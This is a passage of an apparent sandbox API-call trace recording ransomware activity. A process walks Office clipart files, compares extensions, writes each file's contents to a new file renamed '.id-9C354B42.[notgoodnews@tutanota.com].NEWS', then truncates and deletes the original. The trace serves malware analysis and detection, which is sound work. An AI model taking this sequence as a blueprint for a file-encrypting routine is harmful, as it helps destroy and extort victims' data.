office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0242.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.506] lstrlenW (lpString=".doc") returned 4 [0242.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.506] lstrlenW (lpString=".docx") returned 5 [0242.506] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.506] lstrlenW (lpString=".pdf") returned 4 [0242.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.506] lstrlenW (lpString=".xls") returned 4 [0242.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.507] lstrlenW (lpString=".xlsx") returned 5 [0242.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.507] lstrlenW (lpString=".ppt") returned 4 [0242.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.507] lstrlenW (lpString=".zip") returned 4 [0242.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.507] lstrlenW (lpString=".rar") returned 4 [0242.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.507] lstrlenW (lpString=".bz2") returned 4 [0242.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.507] lstrlenW (lpString=".7z") returned 3 [0242.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.508] lstrlenW (lpString=".dbf") returned 4 [0242.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.508] lstrlenW (lpString=".1cd") returned 4 [0242.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.508] lstrlenW (lpString=".jpg") returned 4 [0242.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.509] lstrlenW (lpString=".doc") returned 4 [0242.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.509] lstrlenW (lpString=".docx") returned 5 [0242.509] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.509] lstrlenW (lpString=".pdf") returned 4 [0242.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.509] lstrlenW (lpString=".xls") returned 4 [0242.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.509] lstrlenW (lpString=".xlsx") returned 5 [0242.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.509] lstrlenW (lpString=".ppt") returned 4 [0242.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.510] lstrlenW (lpString=".zip") returned 4 [0242.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.510] lstrlenW (lpString=".rar") returned 4 [0242.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.510] lstrlenW (lpString=".bz2") returned 4 [0242.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.511] lstrlenW (lpString=".7z") returned 3 [0242.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.511] lstrlenW (lpString=".dbf") returned 4 [0242.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.511] lstrlenW (lpString=".1cd") returned 4 [0242.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0242.512] lstrlenW (lpString=".jpg") returned 4 [0242.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.512] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.512] lstrlenW (lpString="AN04323_.WMF") returned 12 [0242.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.558] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2492) returned 1 [0242.558] CloseHandle (hObject=0x288) returned 1 [0242.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0242.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0242.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.560] GetLastError () returned 0x0 [0242.560] ReadFile (in: hFile=0x288, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0243.090] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0243.094] ReadFile (in: hFile=0x288, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.094] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.094] SetEndOfFile (hFile=0x384) returned 1 [0243.094] CloseHandle (hObject=0x384) returned 1 [0243.095] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.095] SetEndOfFile (hFile=0x288) returned 1 [0243.102] CloseHandle (hObject=0x288) returned 1 [0243.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0243.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.194] lstrlenW (lpString=".doc") returned 4 [0243.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.194] lstrlenW (lpString=".docx") returned 5 [0243.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.194] lstrlenW (lpString=".pdf") returned 4 [0243.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.194] lstrlenW (lpString=".xls") returned 4 [0243.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.195] lstrlenW (lpString=".xlsx") returned 5 [0243.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.195] lstrlenW (lpString=".ppt") returned 4 [0243.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.195] lstrlenW (lpString=".zip") returned 4 [0243.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.195] lstrlenW (lpString=".rar") returned 4 [0243.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.195] lstrlenW (lpString=".bz2") returned 4 [0243.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.195] lstrlenW (lpString=".7z") returned 3 [0243.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.196] lstrlenW (lpString=".dbf") returned 4 [0243.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.196] lstrlenW (lpString=".1cd") returned 4 [0243.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.196] lstrlenW (lpString=".jpg") returned 4 [0243.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.197] lstrlenW (lpString=".doc") returned 4 [0243.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.197] lstrlenW (lpString=".docx") returned 5 [0243.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.197] lstrlenW (lpString=".pdf") returned 4 [0243.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.197] lstrlenW (lpString=".xls") returned 4 [0243.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.198] lstrlenW (lpString=".xlsx") returned 5 [0243.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.198] lstrlenW (lpString=".ppt") returned 4 [0243.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.198] lstrlenW (lpString=".zip") returned 4 [0243.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.198] lstrlenW (lpString=".rar") returned 4 [0243.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.198] lstrlenW (lpString=".bz2") returned 4 [0243.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.198] lstrlenW (lpString=".7z") returned 3 [0243.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.199] lstrlenW (lpString=".dbf") returned 4 [0243.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.199] lstrlenW (lpString=".1cd") returned 4 [0243.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0243.199] lstrlenW (lpString=".jpg") returned 4 [0243.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.200] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.200] lstrlenW (lpString="AN04369_.WMF") returned 12 [0243.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.201] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4808) returned 1 [0243.201] CloseHandle (hObject=0x388) returned 1 [0243.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0243.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.202] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0243.203] GetLastError () returned 0x0 [0243.203] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0243.247] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0243.250] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.250] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.251] SetEndOfFile (hFile=0x384) returned 1 [0243.251] CloseHandle (hObject=0x384) returned 1 [0243.252] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.252] SetEndOfFile (hFile=0x388) returned 1 [0243.261] CloseHandle (hObject=0x388) returned 1 [0243.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0243.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0243.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.263] lstrlenW (lpString=".doc") returned 4 [0243.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.263] lstrlenW (lpString=".docx") returned 5 [0243.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.263] lstrlenW (lpString=".pdf") returned 4 [0243.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.263] lstrlenW (lpString=".xls") returned 4 [0243.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.263] lstrlenW (lpString=".xlsx") returned 5 [0243.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.264] lstrlenW (lpString=".ppt") returned 4 [0243.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.264] lstrlenW (lpString=".zip") returned 4 [0243.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.264] lstrlenW (lpString=".rar") returned 4 [0243.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.264] lstrlenW (lpString=".bz2") returned 4 [0243.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.264] lstrlenW (lpString=".7z") returned 3 [0243.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.264] lstrlenW (lpString=".dbf") returned 4 [0243.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.265] lstrlenW (lpString=".1cd") returned 4 [0243.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.265] lstrlenW (lpString=".jpg") returned 4 [0243.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.265] lstrlenW (lpString=".doc") returned 4 [0243.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.266] lstrlenW (lpString=".docx") returned 5 [0243.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.266] lstrlenW (lpString=".pdf") returned 4 [0243.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.266] lstrlenW (lpString=".xls") returned 4 [0243.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.266] lstrlenW (lpString=".xlsx") returned 5 [0243.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.266] lstrlenW (lpString=".ppt") returned 4 [0243.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.266] lstrlenW (lpString=".zip") returned 4 [0243.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.267] lstrlenW (lpString=".rar") returned 4 [0243.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.267] lstrlenW (lpString=".bz2") returned 4 [0243.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.267] lstrlenW (lpString=".7z") returned 3 [0243.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.267] lstrlenW (lpString=".dbf") returned 4 [0243.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.267] lstrlenW (lpString=".1cd") returned 4 [0243.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0243.268] lstrlenW (lpString=".jpg") returned 4 [0243.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.268] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0243.269] lstrlenW (lpString="AN04385_.WMF") returned 12 [0243.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.269] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5004) returned 1 [0243.270] CloseHandle (hObject=0x388) returned 1 [0243.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0243.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0243.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.271] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.272] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0243.272] GetLastError () returned 0x0 [0243.272] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x138c, lpOverlapped=0x0) returned 1 [0243.840] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0243.843] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.843] WriteFile (in: hFile=0x384, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.844] SetEndOfFile (hFile=0x384) returned 1 [0243.844] CloseHandle (hObject=0x384) returned 1 [0243.844] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.845] SetEndOfFile (hFile=0x388) returned 1 [0243.852] CloseHandle (hObject=0x388) returned 1 [0243.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0244.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0244.098] lstrlenW (lpString=".doc") returned 4 [0244.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.098] lstrlenW (lpString=".docx") returned 5 [0244.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.098] lstrlenW (lpString=".pdf") returned 4 [0244.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.098] lstrlenW (lpString=".xls") returned 4 [0244.098] 